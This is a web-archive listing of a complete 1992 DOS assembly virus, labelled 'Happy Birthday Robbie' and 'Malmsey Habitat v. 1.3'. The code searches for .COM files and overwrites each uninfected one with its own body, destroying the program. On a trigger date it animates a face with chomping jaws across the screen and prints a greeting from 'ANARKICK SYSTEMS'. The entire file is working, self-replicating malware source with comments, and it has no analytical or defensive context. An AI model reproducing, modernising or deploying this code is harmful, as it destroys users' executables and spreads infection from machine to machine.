home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / MALMSEYS.ASM < prev    next >
Assembly Source File  |  1992-10-03  |  7KB  |  225 lines

  1. ;
  2. ;Happy Birthday Robbie Virus
  3. ;
  4.  
  5.         code    segment 'CODE'
  6.                 assume cs:code,ds:code,es:code,ss:code
  7.  
  8.                 org     0100h
  9.  
  10. code_length     equ     finish - start
  11. lf        equ    0Ah
  12. cr        equ    0Dh
  13.  
  14. start           label   near
  15.                
  16. id_bytes        proc    near
  17.                 mov     si,si                   ; Serves no purpose:  our ID
  18. id_bytes        endp
  19.  
  20. main:           mov     ah,04Eh                 ; DOS find first file function
  21.                 mov     cx,00100111b            ; CX holds attribute mask
  22.                 mov     dx,offset com_spec      ; DX points to "*.COM"
  23.  
  24. file_loop:      int     021h
  25.                 jc      exit_virus            ; If there are no files, go
  26.                                                 ; off
  27.  
  28.                 call    infect_file             ; Try to infect found file
  29.                 jne     exit_virus              ; Exit if successful
  30.  
  31.                 mov     ah,04Fh                 ; DOS find next file function
  32.                 jmp     short file_loop         ; Repeat until out of files
  33.  
  34. exit_virus:    
  35.         mov    ah,2Ah
  36.         int    21h
  37.         cmp    dl,3
  38.          jne    dos_drop
  39.         cmp    dh,10
  40.         je     eat_screen
  41. dos_drop:    int    20h
  42. eat_screen:    mov    byte ptr count,0
  43.         mov    ah,00
  44.         mov    al,03
  45.         int    10h 
  46.         mov    ah,08
  47.         int    10h
  48.         mov    byte ptr count2,al
  49.         cmp    byte ptr count2,00
  50.         jne    draw_face
  51.         mov    byte ptr count2,0fh
  52. draw_face:
  53.         mov    ah,01        ;set cursor type
  54.         mov    cl,00
  55.         mov    ch,40h
  56.         int    10h
  57.         mov    cl,00
  58.         mov    dl,4fh
  59.         mov    ah,06        ;clear the display window
  60.         mov    al,00
  61.         mov    bh,0fh        ;blank line attribs
  62.         mov    ch,00        ;starting at upper left corner
  63.         mov    cl,00        ; to
  64.         mov    dh,00        ;row 0
  65.         mov    dl,4fh        ;column 4Fh
  66.         int    10h
  67.         mov    ah,02        ;set cursor position
  68.         mov    dh,00        ;to row 0, 
  69.         mov    dl,1fh        ;column 1Fh
  70.         mov    bh,00        ;in graphics mode
  71.         int    10h
  72.         mov    dx,offset eyes  ;get the eyes
  73.         mov    ah,09        ;and draw them to screen
  74.         mov    bl,0fh        ;this colour
  75.         int    21h
  76.         mov    ah,02        ;reposition character
  77.         mov    dh,01        ;to row 1,
  78.         mov    dl,00        ;column 0
  79.         int    10h
  80.         mov    ah,09        ;write character and attrib
  81.         mov    al,0dch        ;character shape
  82.         mov    bl,0fh        ;character colour
  83.         mov    cx,50h        ;number of characters.
  84.         int    10h
  85.         mov    ah,02        ;reposition cursor
  86.         mov    dh,18h        ;to row 18h
  87.         mov    dl,00        ;column 0
  88.         int    10h
  89.         mov    ah,09        ;write character & attribute
  90.         mov    al,0dfh        ;character shape
  91.         mov    bl,0fh        ;character colour
  92.         mov    cx,0050h    ;number of characters
  93.         int    10h
  94.         mov    dl,00        ;back to column 0
  95. make_teeth:
  96.         mov    ah,02        ;set cursor position
  97.         mov    dh,02        ;to row 2
  98.         int    10h
  99.         mov    ah,09        ;write the character
  100.         mov    al,55h        ; "U" for one top tooth
  101.         mov    bl,0fh        ; colour code
  102.         mov    cx,1        ;only one tooth
  103.         int    10h
  104.         mov    ah,02
  105.         mov    dh,17h        ;row 17h
  106.         inc    dl        ;increase column number
  107.         int    10h
  108.         mov    ah,09        ;write a character there.
  109.         mov    al,0efh        ;character "∩" for bottom teeth 
  110.         mov    bl,0fh        ;colour code
  111.         int    10h
  112.         inc    dl        ;increment column number
  113.         cmp    dl,50h        ;is there 50h of them yet?
  114.         jl    make_teeth    ;make more if not
  115.         mov    byte ptr count,0 ;0 the counter
  116. pause_1:
  117.         mov    cx,7fffh
  118. a_loop:    
  119.         loop    a_loop        ;pause
  120.         inc    byte ptr count
  121.         cmp    byte ptr count,0ah
  122.         jl    pause_1
  123.         mov    byte ptr count,00
  124.         mov    cl,00        ;from column 0
  125.         mov    dl,4fh        ;to column 79,
  126. close_jaws:
  127.         mov    ah,06        ;scroll the page up
  128.         mov    al,01        ;blanking a line
  129.         mov    bh,byte ptr count ;with this attribute
  130.         mov    ch,0dh        ;and from row 13
  131.         mov    dh,18h        ;to row 24
  132.         int    10h
  133.         mov    ah,07        ;scroll downward
  134.         mov    al,01        ;blanking one line
  135.         mov    bh,byte ptr count ;with this attribute
  136.         mov    ch,00        ;from row 0
  137.         mov    dh,0ch        ;to row 12
  138.         int    10h
  139.         mov    cx,3fffh
  140. b_loop:    
  141.         loop    b_loop        ;pause
  142.         inc    byte ptr count
  143.         cmp    byte ptr count,0bh
  144.         jl    close_jaws
  145.         mov    byte ptr count,00
  146. pause_2:    
  147.         mov    cx,7fffh
  148. finish_up:
  149.         loop    finish_up
  150.         inc    byte ptr count        ;increment count by 1
  151.         cmp    byte ptr count,0ah    ;is it a 10 yet?
  152.         jl    pause_2            ;no? loop again...
  153.         mov    ah,06            ;scroll page up
  154.         mov    al,00            ;blank entire window
  155.         mov    bh,byte ptr count    ;with this attribute
  156.         mov    ch,00            ;from row 0,
  157.         mov    cl,00            ;column 0,
  158.         mov    dh,18h            ;to row 18h
  159.         mov    dl,4fh            ;column 79
  160.         int    10h
  161.         mov    ah,01            ;reset cursor type
  162.         mov    cl,07
  163.         mov    ch,06            ;everything is back to normal
  164.         int    10h
  165.         mov    si,offset rabid
  166. fuckin_loop:    lodsb
  167.         or     al,al
  168.         jz    $
  169.         mov    ah, 0Eh
  170.         int    10h
  171.         jmp    short fuckin_loop
  172. infect_file:
  173.                 mov     ax,03D02h               ; DOS open file function,
  174.                                                 ; read-write
  175.                 mov     dx,09Eh                 ; DX points to the victim
  176.                 int     021h
  177.  
  178.                 xchg    bx,ax                   ; BX holds file handle
  179.  
  180.                 mov     ah,03Fh                 ; DOS read from file function
  181.                 mov     cx,2                    ; CX holds byte to read (2)
  182.                 mov     dx,offset buffer        ; DX points to buffer
  183.                 int     021h
  184.  
  185.                 cmp     word ptr [buffer],0F68Bh;Are the two bytes "MOV SI,SI"
  186.                 pushf                           ; Save flags
  187.                 je      close_it_up             ; If not, then file is OK
  188.  
  189.                 cwd                             ; Zero CX \_ Zero bytes from
  190.                                                 ; start
  191.                 mov     cx,dx                   ; Zero DX /
  192.                 mov     ax,04200h               ; DOS file seek function,
  193.                                                 ; start
  194.                 int     021h
  195.  
  196.                 mov     ah,040h                 ; DOS write to file function
  197.                 mov     cx,code_length          ; CX holds virus length
  198.                 mov     dx,offset start         ; DX points to start of virus
  199.                 int     021h
  200.  
  201. close_it_up:    mov     ah,03Eh                 ; DOS close file function
  202.                 int     021h
  203.  
  204.                 popf                            ; Restore flags
  205.                 ret                             ; Return to caller
  206.  
  207. buffer          dw      ?                       ; Buffer to hold test data
  208.  
  209. ; Initialized data goes here
  210.  
  211. com_spec        db      "*.COM",0               ; What to infect:  all COM
  212. count   db      0, 0
  213. count2  db      0, 0
  214. eyes    db      '(o)          (o)$'
  215. dinked    db    '[Malmsey Habitat v. 1.3]',      0
  216. rabid   db     cr, lf
  217.     db    'Warmest Regards to  RABID', cr, lf
  218.     db    'from -- ANARKICK SYSTEMS!  ',0,'$'
  219.  
  220. finish:   
  221.  
  222. code            ends
  223.                 end     start
  224.  
  225.